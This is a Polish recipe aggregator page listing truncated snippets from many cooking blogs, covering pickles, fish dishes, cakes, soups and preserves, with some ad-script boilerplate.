przegryzą i bardziej zyska na smaku. Jeśli po Wigilii zostanie Ci nadmiar kapustki, możesz ją śmiało zamrozić i zjeść w innym dniu   Polecam też… ** Barszcz czerwony czysty ** Rybę w zalewie pomidorowo-octowej ** Rybę w sosie ananasowo-keczupowym   Składniki: 1 kg kiszonej kapusty 100 g suszonych leśnych grzybów np. borowiki, podgrzybki, kozaki 1 cebula 2 liście laurowe

Kulinarne S.O.S.
Sól ziołowa 117

tymiankiem. Wprawdzie jest w niej jeszcze czosnek i rozmaryn, ale to te dwie pierwsze przyprawy grają pierwsze skrzypce. Dlatego doskonale sprawdzi się jako dodatek do kurczaka czy też ryby. Sól z cytryną, tymiankiem, rozmarynem i czosnkiem Składniki: 200 g soli gruboziarnistej 1 pęczek świeżego tymianku 2 ząbki czosnku skórka otarta z 1 cytryny Skórkę z cytryny, obrany czosnek i tymianek(...)grubości soli. Ostatnia propozycja jest najmniej czasochłonna ze wszystkich - wystarczy ze sobą wymieszać sól i suszone zioła. Jest też najbardziej uniwersalna. Nadaje się do dań z pomidorów, zup, sosów ryb czy makaronu. Sól z oregano i bazylią Składniki: 100 g soli gruboziarnistej 5 g suszonej bazylii 5 suszonego oregano  2 g granulowanego czosnku Sól wymieszać z suszonymi ziołami

My simple kitchen
Tortilla z łososiem 1528

wyjdzie około 16 roladek, gdy dodamy kolejny placek będziemy mieli o 8 roladek więcej. (adsbygoogle = window.adsbygoogle || []).push({}); Tortilla z łososiem Krokiety z kapustą i grzybami Sałatka śledziowa z buraczkami Ryba po grecku Triki odchudzające – twój mózg pomoże zrzucić ci kilka kilogramów! Ryba po grecku (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Tortilla z łososiem pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Wegański obiad nie tylko dla wegan – szybko i zdrowo 125

zioła wzbogacą smak dania. Możemy dodać do ryżu kilka kropel oleju roślinnego, jeśli uznamy, że ryżowa mieszanka tego wymaga. Tak przygotowane danie może stanowić obiad, lub być dodatkiem do ryb, klopsów lub mięs. Oczywiście jeśli obiad z założenia ma być wegański to ryby i mięso podajemy tylko w wersji roślinnej. Wegańskie paluszki rybne lub klopsiki sojowe są dostępne w wielu

sierotka maRysia w kuchni
Puszysty sernik limonkowy 164

Sernik limonkowy puszysty jak chmurka Puszysty sernik limonkowy Czas przygotowania: 90 min. | Liczba porcji: 16 | Kuchnia światowa   | Rodzaj dania: ciasto Sernik limonkowy z serka mascarpone

Korniszonki
Ciasteczka korzenne z lukrem 125

Ciasteczka korzenne z lukrem Ciasteczka korzenne z lukrem Czas: 10 min przygotowanie + 20 min pieczenie | Liczba porcji: 40 | Kuchnia polska  | Rodzaj dania: ciastka Ciasteczka korzenne

Korniszonki
Surówka z kiszonej kapusty 106

Zupełnie nie planowałam wrzucać dziś żadnego posta, ale nie mogę się powstrzymać. Poza tym dziś piątek, pewnie w wielu domach jest ryba. A do ryby najlepsza jest ta surówka. Wczoraj (dzięki mojemu tacie) jadłam jedną ze smaczniejszych kapust kiszonych ever. Dziś zrobiłam z niej klasyczną surówkę. Jest tak smaczna, że chyba nie doczeka obiadu. Składniki: 300 g kiszonej kapusty

Kardamonovy
Czwartek: Polędwiczka w glazurze czosnkowej 106

krajach latynoskich niesamowicie aromatyczna i wyrazista przyprawa zrobiona na bazie czosnku, oregano, pieprzu, papryki, soli/sosu sojowego i oliwy. Świetnie sprawdza się jako marynata i glazura do wieprzowiny, kurczaka i ryb. Czas przygotowania : 1,4 godziny w tym godzina marynowania Czas pieczenia: 30 minut Poziom trudności : Całkiem łatwe Liczba porcji : 2 Od Filipin, przez Hiszpanię, Portugalię, Meksyk, po Portoryko – wszędzie(...)postać pasty, albo sosu, być paląca jak ogień albo łagodna. Np. na Filipinach jest kilkanaście różnych odmian adobo. Przyprawą można traktować wieprzowinę, doskonale czuje się w niej kurczak oraz ryba. Sposoby przyrządzania mięsa też są różne: można upiec w całości, potem pokroić i podsmażyć na złoto. Można pokrojone włożyć do marynaty i potem usmażyć plastry. My proponujemy Wam dzisiaj wersję

Niedzielny kucharz
Dania na rozgrzewkę – pomysł na obiad 255

niecałą godzinę. Nigdy się nie spieszę, kiedy gotuję. Obiad w 30 minut według Jamie`s jest dla mnie raczej niemożliwy do wykonania, no chyba, że smażę naleśniki… Ryba na obiad to u nas obowiązkowe danie, przynajmniej raz w tygodniu. Jemy różne ryby, najczęściej jednak jest to łosoś. Łosoś z awokado chimichurri jest bardzo smaczny, zdrowy i pożywny. Oczywiście

codojedzenia
Śledzie w oleju 111

śledzie na wagę z beczki. Oczywiście wielu producentów proponuje śledzie w oleju, ale są one według mnie za słone więc odlewanie oleju i ponowne ich moczenie tylko niepotrzebnie nadwyręży rybę. Ale jeśli nie ma w sklepie innych sięgnij po takie. Śledzie namocz w zimnej wodzie przez minumum 2 godziny, kilka razy wymieniając wodę w trakcie namaczania. Odlej wodę, osusz płaty(...)płaty na mniejsze kawałki i ułóż naczyniu lub dużym słoju. Posyp drobno pokrojoną cebulą i pokrop sokiem z cytryny. Olej wymieszaj z oliwą i zalej całość tak aby przykryć rybę. Wstaw śledzia do lodówki najlepiej na kila dni, aby wszystkie smaki się połączyły, śledź nieco zmiękł i nabrał smaku. Najlepiej przygotować śledzie na 4-5 dni przed podaniem. SMACZNEGO! Artykuł

nietylkopasta.pl
Jabłecznik z kruszonką na cieście półkruchym 156

Jabłecznik z kruszonką na cieście półkruchym Jabłecznik z kruszonką na cieście półkruchym to kolejna pyszna odmiana ciasta z jabłkami . Warto wypróbować ten przepis ponieważ ciasto jest

Korniszonki
Salsa z mango i granatem 58

Zrobiona w sumie pod rybę, po prostu. Od dawna chodziło za mną połączenie ryby z owocami, trzeba było to w końcu zrealizować. Świetne połączenie, świetne. Składniki: 1 mango pół granatu 1 mała czerwona cebula pół pęczka natki pietruszki 2 łyżki oliwy extra virgin sok z połowy cytryny sól pieprz Mango obieramy, kroimy w kostkę (pamiętajcie o pestce w środku), wrzucamy

Kardamonovy
Pieczone udka z kaczki z żurawiną i rozmarynem 164

Przepis na pieczone uda z kaczki z żurawiną, rozmarynu i sokiem pomarańczowym Pieczone udka z kaczki to świetna propozycja na niedzielny obiad. Są proste i szybkie

Korniszonki
Genialna sałatka na ciepło z selera naciowego i ravioli 129

Sałatka na ciepło z selera naciowego i ravioli Ta pyszna sałatka na ciepło powstała zupełnie przez przypadek. Dzisiaj szukałam przepisu na duszony seler naciowy , gdyż w

Korniszonki
Jabłecznik z kruszonką i pianką 150

Jabłecznik z kruszonką i pianką Jabłecznik to ciasto, które od zawsze gości na naszych stołach. Można piec go z ciasta kruchego, półkruchego, ucieranego lub biszkoptowego. Dziś

Korniszonki
Modra kapusta babci Rysi 171

Modro kapusta - przepis babci Rysi Modra kapusta , modro kapusta to tradycyjne danie kuchni śląskiej, zwyczajowo podawana do rolady i klusek śląskich. Ten przepis pochodzi akurat ze

Korniszonki
Ciasteczka z mleczną czekoladą 129

Ciasteczka z mleczną czekoladą Wszyscy kochamy ciasteczka, szczególnie te z kawałkami czekolady rozpływającej się w ustach. Ten przepis na ciasteczka z mleczną czekoladą to kolejna wariacja

Korniszonki
Kalarepka po grecku – post Ewy Dąbrowskiej 118

Kalarepka po grecku przygotowana według reguł postu owocowo – warzywnego doktor Ewy Dąborwskiej to jedno z moich ulubionych dań na diecie. To danie a la warzywa, które przygotowujemy do tradycyjnej ryby po grecku, jednak w tym przypadku, wedle wytycznych diety są ugotowane bez dodatku tłuszczu i podawane jako samodzielne danie (bez ryby). Kalarepka po grecku to bardzo sycące danie, dietetyczne, wegańskie

Dorota Smakuje
Morszczuk w sosie śmietanowym wraz z dodatkiem suszonych pomidorów 104

łyżeczka oleju z ich zalewy sól, pieprz słodka papryka 1 łyżka masła  1/2 łyżki oliwy z oliwek Filet z morszczuka umyć, osuszyć i pokroić na mniejsze kawałki. Rybę przyprawić solą oraz pieprzem. Za pomocą blendera zmiksować 4 suszone pomidory wraz z 1 łyżeczką oleju z ich zalewy. Na patelni rozpuścić masło z oliwą. Następnie przesmażyć filety z morszczuka(...)złoty kolor). Po przywróceniu filetów na drugą stronę, do ryby wlać śmietanę, dodać zmiksowane pomidory suszone i całość posypać słodką papryką. Sos delikatnie wymieszać. Patelnię przykryć pokrywką i całość dusić ze sobą 1-2 minuty. Pozostawionego pomidora suszonego pokroić w drobną kostkę. Filety wraz z sosem wyłożyć na talerze. Przed podaniem na ich wierzchu ułożyć kawałki suszonego pomidora. Danie podawać

Ugotować
Andrut kajmakowy 152

Andrut kajmakowy Andrut kajmakowy to ulubiona słodka przekąska nie tylko naszych dzieci. Ten pyszny deser można przygotować dosłownie w 15 minut - wykorzystując gotową masę kajmakową. Można

Korniszonki
Białkowiec z kokosem 142

Białkowiec z kokosem Białkowiec , ciasto białkowe , biszkopt z białek to super ciasto, dzięki któremu można wykorzystać nadmiar białek. Ciasto białkowe może być bazą do tortu - jako

Korniszonki
Czerwona kapusta kiszona w słoikach 160

Czerwona kapusta kiszona w słoikach   Kiszona czerwona kapusta to niezwykły przysmak. Pięknie wygląda i doskonale smakuje. Czerwoną kapustę można zakisić o każdej porze roku, ale

Korniszonki
Zupa pomidorowa z kalafiorem i morszczukiem 146

papryka ostra papryka 1 łyżka masła 1 łyżka oliwy z oliwek * użyłam połowę białej i czerwonej cebuli Cebulę obrać i drobno posiekać. Kalafior umyć i pokroić na mniejsze kawałki. Rybę opłukać i pokroić w grubą kostkę. W garnku rozpuścić masło wraz z oliwą z oliwek. Przesmażyć cebulę. Gdy lekko się zeszkli to dodać kalafiora i wlać wywar. Całość przyprawić solą(...)pieprzem, słodką oraz ostrą papryką, kuminem i szczyptą kurkumy. Zupę gotować kilka minut, aż do lekkiej miękkości kalafiora. Na sam koniec wlać przecier pomidorowy, dodać kawałki ryby i całość ewentualnie doprawić solą oraz pieprzem. Gotować jeszcze 2-3 minuty. Podawać, np. z posiekaną natką pietruszki i makaronem. Pomysł na przepis STĄD

Ugotować
Zupa cebulowa - sprytny sposób na czerstwy chleb 127

Zupa cebulowa z czerstwy chlebem Zupa cebulowa z dodatkiem chleba to dobry sposób na wykorzystanie kilku kromek czerstwego chleba. Ta pyszna zupa może nie ma pięknego

Korniszonki
Bardzo czekoladowe American Cookies 129

Czekoladowe ciasteczka amerykańskie - double chocolate American Cookies American Cookies to już prawdziwa klasyka amerykańskiej kuchni. Te przepyszne ciasteczka pieczone są z różnymi dodatkami i zawsze wychodzą

Korniszonki
Zupa serowa 364

Rozgrzewająca zupa serowa Zupa serowa to pyszne, bardzo pożywne danie, które można przygotować dosłownie w 15 minut. Z dodatkiem korzennych przypraw będzie super rozgrzewaczem na zimowe

Korniszonki
Tradycyjne powidła śliwkowe bez cukru 130

Tradycyjne powidła ze śliwek węgierek bez cukru Tradycyjne powidła śliwkowe najlepiej udają się ze śliwek węgierek. Można je robić zarówno z pierwszych śliwek, które dojrzewają już

Korniszonki
Chutney z gruszek 90

Chutney z gruszek wytrawny dżem z gruszek do mięs, wędlin, ryb, serów i sałatek Chutney z gruszek - przepis na pyszny słodko - ostry dodatek do wielu dań poznałam niemal rok temu dzięki Agacie Wojdzie. Od siebie dodałam odrobinę pikanterii w postaci chili. Chutney gruszkowy z chili, dyni i cebuli jest banalnie prosty do zrobienia. Zazwyczaj podaję go na zimno, ale równie(...)dobrze smakuje na ciepło, pasuje do pieczonego mięsa, deski serów, kanapek z wędliną, a nawet do ryb. Pikantny chutney z gruszek można podawać także jako sos do makaronu Chutney z gruszek - Cztery Fajery Chutneye to rodzaj dżemów z owoców lub warzyw. W Indiach słodki lub wytrawny chutnej podaje się niemal do wszystkiego. Również w Arabii Saudyjskiej, gdzie mieszkaliśmy i gdzie

Kulinaria - potrawy z różnych stron świata
Amandine - tradycyjny tort czekoladowy z Rumunii 185

Tradycyjny rumuński tort czekoladowy - Amandine Amandine to tradycyjny rumuński tort . Czekoladowy biszkopt, przełożony kremem czekoladowym i obficie nasączony syropem znany jest w Rumunii jako „Amandine” lub

Korniszonki
Wykwintna marmolada pomarańczowa z dynią i migdałami 124

Marmolada pomarańczowa z dynią - super przepis na pyszny dodatek Marmolada pomarańczowa świetnie sprawdzi się jako dodatek do ciast, kanapek i deserów. Ten na marmoladę przepis zawiera

Korniszonki
Pasta jajeczna z awokado 122

Pasta jajeczna z awokado Pasta jajeczna z awokado to ciekawa odmiana w codziennej diecie i świetna alternatywa dla tradycyjnej pasty jajecznej. Tę piękną, zielono-żółtą pastę

Korniszonki
Patronaty medialne Prostych-przepisów nad książkami wydawnictwa Vital! 84

książce zebrał swoje ulubione przepisy na proste do przyrządzenia ketogeniczne potrawy z łatwo dostępnych składników. Znajdziesz tu dania z warzyw, sałatki i dressingi, potrawy z jaj, mięsa, ryb i drobiu, a także wrapy, zupy i zapiekanki. W publikacji znajduje się łącznie 450 przepisów na każdy posiłek dnia. Przygotowywane dania są wolne od glutenu, sztucznych słodzików czy wzmacniaczy smaku. Poza sprawdzonymi(...)Hans-Ulrich Grimm Mięso pełne kłamstw. Jak nie dać się otruć przemysłowi mięsnemu Polacy są w zdecydowanej większości mięsożerni. Wieprzowina, drób, wołowina i ryby królują na naszych stołach, a w ostatnich latach dołączają do nich coraz powszechniejsze i łatwiej dostępne owoce morza w różnym wydaniu. Nie wyobrażamy sobie niedzielnego obiadu bez mięsa, a wielu z nas spożywa je częściej niż

Proste-przepisy.pl
Sałatka grzybowa do słoików 153

Sałatka grzybowa do słoików Sałatka grzybowa do słoików to szybki i pyszny sposób na zagospodarowanie resztek grzybów - nóżek, brzydkich kapeluszy, ostatnich sztuk, które nie zmieściły się

Korniszonki
Placek tarty czarno-biały 179

Placek tarty czarno biały, znany też jako pleśniak Ciasto tarte towarzyszy mi od dzieciństwa. Robiła je moja babcia, ciocia i mama, a po wielu latach odnalazłam

Korniszonki
Tygodniówka – tani obiad na cały tydzień! 260

rosole z kurczaka to na drugi dzień smażę naleśniki i robię krokiety z farszem z gotowanego kurczaka. Za krokietami przepada cała rodzina! Czwartek z głowy! Przy piątku zazwyczaj przygotowuję rybę. Co prawda ryby do tanich nie należą ale świeże śledzie są jednak najtańsze w porównaniu do łososia. Smażone śledzie z surówką z brukselki to obiad zdecydowanie do wypróbowania. W sobotę

codojedzenia
Kotleciki z cukinii i ziemniaków 135

Kotlety z cukinii i ziemniaków - nie wyrzucaj, wykorzystaj! Kotleciki z cukinii lub inne kotlety z warzyw to świetne danie, dzięki któremu możemy wykorzystać różne “obiadowe” resztki

Korniszonki
Tradycyjna sałatka z tuńczykiem i kukurydzą 100

Sałatka z tuńczykiem, kukurydzą, serem żółtym i kiszonym ogórkiem Sałatka z tuńczyka zagościła na polskich stołach na początku lat 90. ubiegłego wieku i od tamtego czasu

Korniszonki
Zupa krem z dyni i papryki 135

Krem z dyni i papryki - zupa idealna na jesienny obiad Kremowe zupy z dyni to wręcz nieograniczone pole do kulinarnych eksperymentów. Są pyszne, pożywne, pięknie wyglądają

Korniszonki
Kotlety rybne 126

Zapraszam po kotlety rybne , które należą do jednych z prostszych przepisów z wykorzystaniem ryb. Takie kotlety rybne z dorsza lub innej ryby o jasnym mięsie są idealne na obiad również dla dzieci.  - prosty przepis na kotlety rybne - tylko kilka niezbędnych składników - mimo smażenia nie są bardzo kaloryczne

AniaGotuje.pl
Domowy chleb na drożdżach 161

Domowy chleb na drożdżach - prosty przepis Chleb pieczony w domu to chleb specjalny, wyjątkowy, taki który smakuje każdemu w rodzinie. Przepisów na domowy chleb jest mnóstwo

Korniszonki
Zupa grzybowa z kaszą krakowską 136

Zupa grzybowa z kaszą krakowską lub kaszą jęczmienną Zupa grzybowa z kaszą to mega rozgrzewająca potrawa na jesienne i zimowe dni. Przygotowana z suszonych prawdziwków lub

Korniszonki
Najlepsze ciasto marchewkowe z kremem z serka śniadaniowego 183

Ciasto marchewkowe z kremem z serka śniadaniowego Ciasto marchewkowe przebojem wdarło się w świat ulubionych wypieków Polaków. Ten anglosaski przysmak cieszy się uznaniem wśród młodszych i

Korniszonki
BENALMÁDENA – miała być Afryka, a wylądowałam w Hiszpanii / CO ZOBACZYĆ W BENALMÁDENIE I NA COSTA DEL SOL? 114

temat morskich stworzeń. Ogromną atrakcją jest w nim tunel rekinów, który pozwala oko w oko spotkać się z drapieżnikami. W całym kompleksie nie brakuje też oczywiście różnych gatunków ryb, meduz, koników morskich, piranii czy małych, kolorowych płazów. W bilety polecam zaopatrzyć się online – jest taniej. Dorośli – 16€, online – 13,50€ Adres: Puerto deportivo s/n, 29630 Benalmádena Costa(...)Kenii, Filipin czy też Malezji. Latające nad głową i wylęgające się z kokonu. Oprócz motyli, wewnątrz znajdziemy też kilka innych zwierząt. Przy tropikalnym jeziorku na odwiedzających czekają różne gatunki ryb, ptaki, żółw oraz kangur! Wszystko to stanowi znakomitą atrakcję zarówno dla dzieci, jak i dorosłych. Motylarnię można odwiedzać we wszystkie dni robocze w godzinach

Ostra na Słodko
Puszyste racuchy bez proszku do pieczenia i drożdży 137

Puszyste racuszki z jabłkami bez drożdży i proszku do pieczenia Racuchy to idealne śniadanie, nie tylko dla dzieci. Racuszki z owocami, cukrem pudrem, miodem lub syropem

Korniszonki
Sałatka z buraków, fasoli i sera feta 162

Sałatka z fasolą Jaś, burakami i serem feta Fasola i ser feta lub kozi to super połączenie, które świetnie sprawdza się w różnych sałatkach. Te składniki

Korniszonki
Pieczona papryka z ziołami do słoików na zimę 134

Pieczona papryka z ziołami do słoików na zimę w lekkiej zalewie octowej z oliwą Papryka to niezwykłe warzywo, które świetnie smakuje na surowo, na ciepło w

Korniszonki
Jak zrobić obiady na tydzień w jeden dzień – to prostsze niż myślisz 141

razem składniki na kilka dni Pieczone jedzenie jest mniej kaloryczne i zdrowsze niż np. smażone. A przede wszystkim jego przygotowanie wymaga mniej czasu, bo łatwiej jest jednocześnie upiec np. rybę i polędwiczkę w piekarniku (wkładasz i same się robią), niż je usmażyć. Dodatkowy bonus to mniej naczyń do zmywania i brak rozchlapanego tłuszczu. W tym menu na tydzień piekliśmy warzywa(...)też mięso i ryby – kurczaka, polędwiczkę i łososia. Wystarczy pilnować czasu – kiedy co wyjąć z pieca – i odpowiedniej temperatury. W takim zestawieniu jak nasze – łososia wyjmujesz z pieca po ok. 12 minutach pieczenia, a mięso po około 20 (ew. polędwiczkę możesz potrzymać w piekarniku dosłownie chwilkę dłużej). Ściągawkę jak ekonomicznie upiec różne warzywa znajdziecie tutaj (na dole wpisu) . 4. Naucz

Niedzielny kucharz
Jak zrobić francuski ratatouille? Przepis na ratatuj zapiekany 172

danie i tak jest pyszne i aromatyczne. Polecam jako samodzielną wegetariańską potrawę z dodatkiem pieczywa czy ziemniaków i ewentualnie sera (feta, mozzarella) lub jako warzywny dodatek do mięsa czy ryby. ➤ Zobacz także:  Makaron z sosem a'la ratatouille Kampania „Wszystkie smaki i kolory papryki, cukinii i bakłażana”  Kocham jeść warzywa i chcę wspierać naszych polskich producentów, dlatego(...)stopni C i piecz przez 1 godzinę.  6. Gotowy ratatouille podawaj z dodatkiem świeżego pieczywa, ziemniaków lub makaronu. Możesz go również zestawić z kawałkiem mięsa lub ryby. Uwagi do przepisu: Wybierz nieduże, wąskie cukinie i bakłażany. Dobrze, aby wszystkie warzywa miały podobną średnicę.  Ratatouille przygotuj w okrągłym lub owalnym naczyniu do zapiekania. Ważne, aby naczynie było raczej głębokie

Chilli Czosnek i Oliwa
Mikrofalówka – wyznanie wyrodnego ojca i jeszcze gorszego kucharza 85

zapewnieniom producentów, nie ugotujecie w nich posiłku od podstaw. Wiem, bo kiedyś dostałem na próbę mikrofalówkę znanej marki z załączoną książką kucharską. Były w niej przepisy na cielęcinę, ryby, warzywa czy desery. Wszystko, co udało mi się przyrządzić, smakowało jak skrzyżowanie jedzenia dla kosmonautów z chińskimi trampkami. Ponadto, mimo iż polecam mikrofalówkę do codziennego domowego użytku, daleki jestem od tego(...)mikrofalówka i piekarnik z termoobiegiem. Rozwiązanie doskonałe dla każdego kto nie ma miejsca w domu na pełnowymiarowy piekarnik. Lub jeżeli nie chcesz odpalać dużego piekarnika dla 1 kawałka ryby.   Do tej pory przedstawiałem raczej mikrofalówki o większych gabarytach. Tym razem coś bardziej dla singli lub młodych małżeństw. Model o pojemności 20 l i rozsądnych rozmiarów, sprzęt możecie kupić TUTAJ

kuron.com.pl
Pstrąg zawojski 178

się smacznym jedzonkiem w Zawoi. Pierwszy raz odwiedzone przez nas miejsce, Pstrąg Zawojski, bardzo pozytywnie nas zaskoczyło. Mnie to już w ogóle jako, że zawsze sceptycznie podchodziłam do jedzenia ryb. Zamówiliśmy pstrąga w zestawie oraz jesiotra, którego jadłam pierwszy raz. Rybki świeżutkie i pyszne. Byłam zachwycona. Miejsce schowane, z tego co zauważyliśmy jednak bardzo popularne wśród turystów i lokalnych(...)pewno przy nadarzającej się okazji będziemy chcieli tam jeszcze wrócić. Co więcej warto wiedzieć, że funkcjonuje też ich sklep internetowy oraz że można zakupić wędzone ryby do domu. Skusiliśmy się też na taki zakup i byliśmy bardzo zadowoleni ze smacznej kolacji. Gorąco polecam

Karola gotuje
Keto placki z cukinii z łososiem (Paleo, LowCarb) 114

może się poszczycić własną jego odmianą. Łososie tej firmy są hodowane z troską: karmione karmą obfitującą w składniki pochodzenia oceanicznego, trzymane w zbiornikach zarybionych tylko w 2 %, co daje rybom optymalne warunki do rozwoju. Dzięki takim działaniom łososie tej firmy posiadają o 20% więcej kwasów omega-3 niż inne dostępne na rynku łososie. Ryby nie są również poddawane antybiotykoterapii. Produkty

Modern Cave Girl
Keto burgery z łososia (Paleo, LowCarb) 172

może się poszczycić własną jego odmianą. Łososie tej firmy są hodowane z troską: karmione karmą obfitującą w składniki pochodzenia oceanicznego, trzymane w zbiornikach zarybionych tylko w 2 %, co daje rybom optymalne warunki do rozwoju. Dzięki takim działaniom łososie tej firmy posiadają o 20% więcej kwasów omega-3 niż inne dostępne na rynku łososie. Ryby nie są również poddawane antybiotykoterapii. Produkty

Modern Cave Girl
Zapiekanka makaronowa z kurczakiem i brokułami w kremowym sosie 124

Zapiekanka makaronowa z kurczakiem i warzywami Zapiekanka makaronowa z kurczakiem i różnymi warzywami to pyszne sycące danie, które można podać na obiad oraz na ciepłą kolację

Korniszonki
Ciasto cytrynowe podwójnie cytrynowe 155

Ciasto cytrynowo-cytrynowe To ciasto cytrynowe to prawdziwe szaleństwo smaku cytryny. Jest to bardzo proste i pyszne ciasto ucierane, które dodatkowo poza skórką cytrynową jest nasączone

Korniszonki
Kanapki z pastą rybną-są przepyszne 228

Podam wam składniki Pieczywo do pasty zakupiłam w lewiatanie -pieczywo chrupkie żytnie z kozim serem i rozmarynem 1 ryba wędzona -oczyścić ją z ości itd i włożyć rybę do miski 4 ugotowane jajka -obrać zetrzeć -i do miski biały ser wędzony ok 10 do 15 dek -dajemy do miski 4 rzodkiewki duże oczyszczone starte na tarce dodajemy do miski przyprawy

Moje Wyroby
Ogórki w zalewie musztardowej z miodem 111

Ogórki w zalewie musztardowo-miodowej Wśród przetworów na zimę bez wątpienia rządzą ogórki! Tym razem proponuje przepis na pyszne ogórki w zalewie musztardowo-miodowej . Tak przygotowane

Korniszonki
Zapiekane młode ziemniaczki 25733

również posiłkiem samym w sobie. Do ziemniaków można zastosować różne przyprawy, zależnie od upodobań smakowych. Idealnie pasują do wiosennej surówki z młodej kapusty oraz piersi z kurczaka bądź pieczonej ryby. Ja uwielbiam zapiekane młode ziemniaki z domowej roboty sosem czosnkowym. (adsbygoogle = window.adsbygoogle || []).push({}); Zapiekane młode ziemniaczki – składniki 1 kg małych młodych ziemniaków 5 łyżek oleju słodka papryka w proszku(...)piecz około 60 minut, bądź dłużej, jeśli ziemniaki będą jeszcze twarde. Podawaj ziemniaki z sosem czosnkowym domowej roboty, bądź ketchupem. Jest do idealny dodatek do panierowanych piersi z kurczaka, ryby pieczonej w piekarniku. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Zapiekane młode ziemniaczki pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Sałatka w słoikach z ogórków, papryki i cebuli 124

Sałatka w słoikach z ogórków, papryki i cebuli z nuta miodu Zimowa sałatka w słoiku to ratunek, który zawsze jest pod ręką. Tak zwana sałatka szwedzka

Korniszonki
Sałatka z łososiem i warzywami 76

Dzień dobry moi drodzy. Dzisiaj trochę odetchniemy w końcu od słodkich deserów i zaproponuję Wam pożywne i zdrowe śniadanie bądź kolację. Łosoś jest zaliczany do gatunku ryb tłustych i rzadko kojarzony jest ze zdrowym odżywianiem, fit i odchudzaniem. A to wielki błąd! Tak samo, jak makrela wskazana jest na diecie zbilansowanej, ze względu na swoje bogate  „ wyposażenie". Zawiera selen(...)bardzo nie biorę jej pod uwagę, szczególnie że biorą wszystko do jednego worka. Co prawda, nie mówię, że to totalna głupota, bo trochę racji mają, jeśli chodzi o hodowlane ryby, ale nikt przecież nie je codziennie po 5 kg, żeby to w jakiś bardzo szkodliwy sposób miało wpłynąć na zdrowie. Dla przypomnienia problemu popatrzcie jaka różnica jest między dzikim

zdrowo i aktywnie
Papryka marynowana w słoikach 181

Papryka marynowana w zalewie octowej Marynowana papryka to klasyk wśród octowych przetworów. Sprawdza się jako dodatek do ciepłych i zimnych mięs, sałatek, kanapek, burgerów. Oczywiście marynowana

Korniszonki
Sałatka obiadowa z fasoli Jaś z serem feta 138

Sałatka z fasoli Jaś i sera feta z warzywami sezonowymi Fasola, ser i świeże warzywa to zestaw, który świetnie sprawdzi się jako danie obiadowe. Sałatka przygotowana

Korniszonki
Kiszone jabłka z przyprawami korzennymi 120

Kiszone jabłka w słoju Kiszone jabłka to tradycyjny przysmak polskiej kuchni. Dawniej jabłka były przede wszystkim dodawane do beczek z kiszoną kapustą. Jednak te owoce można

Korniszonki
Tradycyjne japońskie zupy – co warto o nich wiedzieć? 161

bazie sfermentowanej soi. To właśnie ten składnik jest odpowiedzialny za bogactwo znajdujących się w tym przysmaku witamin i minerałów. Oprócz niego danie zawiera najczęściej różnego rodzaju warzywa i ryby. Posmakowanie tego typu potraw jest jednak możliwe nie tylko w Japonii. Pyszną zupę miso można zjeść m.in. w restauracjach sushi w Poznaniu , Warszawie, Krakowie i innych większych miastach. Fakt(...)zależy m.in. od regionu i przygotowującego danie kucharza. Ten przysmak wyróżnia się jednak bogactwem dodatków – na zalanym bulionem makaronie układa się zazwyczaj kopczyk świeżych ziół, tofu czy tempury (panierowane ryby, krewetki, warzywa, grzyby Kinoko). Wywar można przygotowywać zarówno z dodatkiem wołowiny lub kurczaka, jak i w wersji wegetariańskiej. Materiał partnera. Redakcja nie ponosi odpowiedzialności za treści materiału. (function(){ c6kw=document.createElement

Kulinarnyblog.pl - wiesz jak gotować!
Sorbetowe lody malinowe. Domowe lody z malin i mleka 183

Sorbet malinowy - domowe lody malinowe Sorbet malinowy jest cudowny w upalne letnie popołudnia. Osobiście lubię ten deser przygotowywać z dodatkiem mleka, które daje gładki, aksamitny smak

Korniszonki
Menu na tydzień: Jak zrobić grilla w domu 80

Pieczone żeberka w sosie barbecue, grilowania ryba, kaszanka i warzywa – wszystko z grilla, tyle że zrobionego w domu, w piekarniku. To doskonała alternatywa dla klasycznego grilla. Pozdrowienia z Krainy Deszczowców! Właśnie zaczęliśmy długo wyczekiwaną majówkę, wymarzony wyjazd, pierwszy od miesięcy, gdyż wszystkie wcześniejsze urlopy trzeba było odwołać ze względu na ciągle, żłobkowe infekcje Miłosza. Opuszczaliśmy Warszawę przykrytą ciężkimi, ołowianymi(...)tygodniu tak będziemy robić, piec grila nie oglądając się na pogodę. Jeszcze w Warszawie upiekliśmy super żeberka w sosie barbecue. W menu na ten tydzień są jeszcze grillowany kurczak, ryba, kaszanka i warzywa. Zapraszamy do odwiedzania Niedzielnego Kucharza. Mamy nadzieję, że nasze przepisy zainspirują Was i pomogą przetrwać majówkę. Pieczone żeberka w sosie barbecue Super łatwy przepis na super pyszne

Niedzielny kucharz
Jak planować posiłki – naucz się krok po kroku 159

dzieje się, gdy nie masz zaplanowanych obiadów i robisz je na spontanie). Oczywiście może się zdarzyć, że w tygodniu będziesz musiała/musiał wpaść do sklepu po świeżą rybę czy jakieś warzywo (przewidzisz to wcześniej). Generalnie jednak wypady do sklepu będą ograniczone do minimum. Jest również duża szansa, że oszczędzisz sobie stania w kolejkach (zdziwisz się jak mało osób robi(...)koniecznie. Dlatego dania na czwartek i piątek (lub półprodukty do nich) będziesz musiała/musiał zamrozić. Możesz też zamrozić jedzenie na czwartek, a na piątek zaplanować świeżą sałatkę czy rybę (jeśli masz czas na jej przygotowanie dzień wcześniej lub tego samego dnia). Zamrożony czwartkowy obiad trzeba będzie wyjąć z zamrażalnika w środę wieczorem i przełożyć do lodówki do odmrożenia

Niedzielny kucharz
Muffinki czekoladowe last minute 117

Muffinki czekoladowe - prosty przepis na szybkie babeczki Ten przepis na muffinki czekoladowe warto mieć zawsze pod ręką. Te babeczki przygotowuje się dosłownie 10 minut z nagrzaniem

Korniszonki
Sałatka makaronowa z ciecierzycą, papryką i ogórkiem 141

Sałatka makaronowa z ciecierzycą Sałatka makaronowa to tak naprawdę bardzo pożywne danie. Makaron z dodatkiem ciecierzycy stanowi pełnowartościowy posiłek z zawartością węglowodanów, białka, dobrego tłuszczu oraz

Korniszonki
Szarlotka super krucha 191

Szarlotka super krucha na ciepło z cukrem pudrem Sezon na jabłka trwa cały rok, ale późnym latem szarlotki i jabłeczniki królują na stołach miłośników słodkości. Upieczone

Korniszonki
Nalewka z jeżyn - przepis tradycyjny na jeżynówkę 123

